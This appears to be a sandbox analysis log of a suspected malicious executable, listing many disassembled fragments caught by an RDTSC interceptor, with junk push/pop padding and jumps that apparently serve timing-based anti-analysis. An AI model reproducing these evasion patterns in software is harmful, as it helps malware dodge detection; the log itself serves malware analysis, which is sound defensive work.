Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C643AF second address: C643D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007F2F50F3076Eh 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jne 00007F2F50F30756h 0x00000019 push eax 0x0000001a pop eax 0x0000001b push esi 0x0000001c pop esi 0x0000001d popad 0x0000001e push ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BB52 second address: D0BB56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BB56 second address: D0BB5E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BCD6 second address: D0BD4D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnl 00007F2F50B4A336h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F2F50B4A346h 0x00000012 jmp 00007F2F50B4A33Ch 0x00000017 popad 0x00000018 jmp 00007F2F50B4A344h 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 pushad 0x00000021 popad 0x00000022 jmp 00007F2F50B4A343h 0x00000027 pushad 0x00000028 popad 0x00000029 popad 0x0000002a popad 0x0000002b pushad 0x0000002c jp 00007F2F50B4A33Ah 0x00000032 push ebx 0x00000033 pushad 0x00000034 popad 0x00000035 pop ebx 0x00000036 jg 00007F2F50B4A342h 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C003 second address: D0C020 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2F50F30768h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C2DC second address: D0C2E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C5F5 second address: D0C620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F2F50F30756h 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F2F50F30763h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 popad 0x00000015 jo 00007F2F50F3075Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0CBBC second address: D0CBD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2F50B4A346h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0CBD8 second address: D0CBDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0D4ED second address: D0D50D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2F50B4A33Dh 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jnc 00007F2F50B4A336h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0D7A3 second address: D0D7AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16214 second address: D1624C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F2F50B4A336h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jmp 00007F2F50B4A340h 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 jmp 00007F2F50B4A344h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1624C second address: D1627B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2F50F3075Fh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F2F50F30756h 0x00000012 jmp 00007F2F50F30763h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1627B second address: D16295 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50B4A344h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16295 second address: D162A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F2F50F30756h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16A8A second address: D16A94 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16A94 second address: D16AA3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jno 00007F2F50F30756h 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16AA3 second address: D16AA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D183FF second address: D18403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18403 second address: D18418 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50B4A341h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18418 second address: D1842E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2F50F3075Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1842E second address: D18454 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50B4A348h 0x00000007 jl 00007F2F50B4A336h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18454 second address: D1845E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F2F50F30756h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1FC07 second address: D1FC19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2F50B4A33Bh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1FC19 second address: D1FC21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20055 second address: D20059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20059 second address: D2005D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2048B second address: D2049C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F2F50B4A33Ch 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2092D second address: D20933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20933 second address: D20939 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2172A second address: D21743 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50F3075Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jc 00007F2F50F30756h 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34CEE second address: D34CF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34CF2 second address: D34CFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F2F50F30756h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34CFE second address: D34D04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34D04 second address: D34D0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3693F second address: D36947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D36947 second address: D36953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D427FF second address: D42805 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42805 second address: D42809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42809 second address: D42821 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F2F50B4A338h 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007F2F50B4A336h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42821 second address: D42825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42825 second address: D4282F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4282F second address: D42833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6B0C9 second address: C6B0D2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4CA5E second address: D4CA7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2F50F30769h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4EE68 second address: D4EE72 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F2F50B4A336h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D55282 second address: D55287 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D55287 second address: D552CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F2F50B4A33Fh 0x0000000b jl 00007F2F50B4A336h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jne 00007F2F50B4A34Dh 0x0000001c jmp 00007F2F50B4A347h 0x00000021 push eax 0x00000022 push edx 0x00000023 jnp 00007F2F50B4A336h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D552CE second address: D552D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D552D2 second address: D552E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50B4A33Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D552E5 second address: D552F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F2F50F30756h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D55AD5 second address: D55ADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B074 second address: D5B07A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B07A second address: D5B094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F2F50B4A342h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5AF0C second address: D5AF11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6830D second address: D68312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C65F2D second address: C65F33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C65F33 second address: C65F42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F2F50B4A336h 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C91E second address: D6C924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C924 second address: D6C955 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 jnp 00007F2F50B4A336h 0x0000000f popad 0x00000010 jc 00007F2F50B4A33Ah 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 push edx 0x00000019 pop edx 0x0000001a popad 0x0000001b pushad 0x0000001c jmp 00007F2F50B4A33Ah 0x00000021 pushad 0x00000022 jc 00007F2F50B4A336h 0x00000028 pushad 0x00000029 popad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D906E2 second address: D906EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push ecx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D906EF second address: D906FC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jc 00007F2F50B4A336h 0x00000009 pop esi 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D909D7 second address: D909DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D90B5B second address: D90B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D90B5F second address: D90B70 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F2F50F30758h 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D90B70 second address: D90B99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 jne 00007F2F50B4A338h 0x0000000d push edx 0x0000000e pop edx 0x0000000f popad 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F2F50B4A346h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D93CC3 second address: D93CE8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnp 00007F2F50F30756h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 jmp 00007F2F50F30764h 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D93CE8 second address: D93CF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F2F50B4A336h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D93E9B second address: D93E9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D93F13 second address: D93F1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F2F50B4A336h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D93F1D second address: D93F6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50F30763h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e jnc 00007F2F50F30757h 0x00000014 mov dword ptr [ebp+122D1BC6h], esi 0x0000001a push 00000004h 0x0000001c push edi 0x0000001d cmc 0x0000001e pop edx 0x0000001f push 85422B85h 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 jmp 00007F2F50F30760h 0x0000002c jns 00007F2F50F30756h 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D93F6A second address: D93F70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D93F70 second address: D93F74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D941B4 second address: D94246 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2F50B4A338h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F2F50B4A338h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D1A98h], edi 0x0000002d push dword ptr [ebp+122D23ACh] 0x00000033 push 00000000h 0x00000035 push eax 0x00000036 call 00007F2F50B4A338h 0x0000003b pop eax 0x0000003c mov dword ptr [esp+04h], eax 0x00000040 add dword ptr [esp+04h], 00000015h 0x00000048 inc eax 0x00000049 push eax 0x0000004a ret 0x0000004b pop eax 0x0000004c ret 0x0000004d mov dx, 240Bh 0x00000051 call 00007F2F50B4A339h 0x00000056 ja 00007F2F50B4A340h 0x0000005c push eax 0x0000005d ja 00007F2F50B4A33Eh 0x00000063 mov eax, dword ptr [esp+04h] 0x00000067 push eax 0x00000068 push edx 0x00000069 push esi 0x0000006a jbe 00007F2F50B4A336h 0x00000070 pop esi 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D94246 second address: D94269 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push ebx 0x0000000d push edi 0x0000000e jno 00007F2F50F30756h 0x00000014 pop edi 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d js 00007F2F50F30756h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D94269 second address: D9426D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9561C second address: D95626 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F2F50F30756h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D95626 second address: D9562A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9562A second address: D95634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D95634 second address: D95638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D95638 second address: D9563C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D992B1 second address: D992BB instructions: 0x00000000 rdtsc 0x00000002 jne 00007F2F50B4A336h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D992BB second address: D992DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jp 00007F2F50F30778h 0x0000000d jg 00007F2F50F3075Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D992DA second address: D992E4 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2F50B4A336h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54302FE second address: 543030D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50F3075Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 543030D second address: 543034C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50B4A349h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F2F50B4A341h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F2F50B4A33Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 543034C second address: 5430369 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50F30761h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430369 second address: 543037C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50B4A33Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430401 second address: 5430410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430410 second address: 5430414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430414 second address: 5430430 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50F30768h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54304E9 second address: 54304ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54304ED second address: 54304FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50F3075Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54304FC second address: 5430502 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
